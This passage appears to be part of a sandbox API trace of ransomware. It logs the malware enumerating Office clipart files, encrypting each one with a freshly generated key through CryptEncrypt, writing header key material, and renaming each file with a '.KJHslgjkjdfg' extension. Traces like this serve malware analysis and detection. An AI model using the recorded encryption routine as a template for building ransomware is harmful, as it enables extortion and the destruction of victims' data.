lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.410] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.410] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.410] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0198.411] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0198.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.411] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0198.411] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.412] SetEndOfFile (hFile=0x130) returned 1 [0198.414] GetProcessHeap () returned 0x2ef0000 [0198.414] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.414] GetProcessHeap () returned 0x2ef0000 [0198.414] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.kjhslgjkjdfg")) returned 1 [0198.415] CloseHandle (hObject=0x130) returned 1 [0198.415] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1 [0198.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.416] GetProcessHeap () returned 0x2ef0000 [0198.416] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.416] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.416] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.416] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.416] GetProcessHeap () returned 0x2ef0000 [0198.416] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.416] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.416] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.416] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.418] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.418] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.418] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.418] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.419] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.419] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0198.420] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0198.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.420] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0198.421] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.421] SetEndOfFile (hFile=0x130) returned 1 [0198.423] GetProcessHeap () returned 0x2ef0000 [0198.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.423] GetProcessHeap () returned 0x2ef0000 [0198.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.kjhslgjkjdfg")) returned 1 [0198.424] CloseHandle (hObject=0x130) returned 1 [0198.424] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1 [0198.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.425] GetProcessHeap () returned 0x2ef0000 [0198.425] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.425] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.426] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.427] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.427] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.428] GetProcessHeap () returned 0x2ef0000 [0198.428] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.428] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.428] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.428] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.428] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.428] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.428] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.428] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0198.429] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0198.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.430] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0198.430] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.430] SetEndOfFile (hFile=0x130) returned 1 [0198.433] GetProcessHeap () returned 0x2ef0000 [0198.433] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.433] GetProcessHeap () returned 0x2ef0000 [0198.433] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.kjhslgjkjdfg")) returned 1 [0198.434] CloseHandle (hObject=0x130) returned 1 [0198.434] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1 [0198.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.435] GetProcessHeap () returned 0x2ef0000 [0198.435] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.435] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.435] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.437] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.437] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.437] GetProcessHeap () returned 0x2ef0000 [0198.437] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.437] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.438] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.438] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.438] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.438] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.438] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.438] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.438] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.438] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.438] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0198.440] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0198.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.441] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0198.441] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.441] SetEndOfFile (hFile=0x130) returned 1 [0198.444] GetProcessHeap () returned 0x2ef0000 [0198.444] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.444] GetProcessHeap () returned 0x2ef0000 [0198.444] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.kjhslgjkjdfg")) returned 1 [0198.445] CloseHandle (hObject=0x130) returned 1 [0198.445] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1 [0198.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.447] GetProcessHeap () returned 0x2ef0000 [0198.447] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.447] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.447] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.450] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.450] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.450] GetProcessHeap () returned 0x2ef0000 [0198.450] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.450] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.450] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.450] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.450] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.450] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.450] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.451] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.451] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.451] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.451] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7f68, lpOverlapped=0x0) returned 1 [0198.452] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f70, dwBufLen=0x7f70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f70) returned 1 [0198.453] SetFilePointerEx (in: 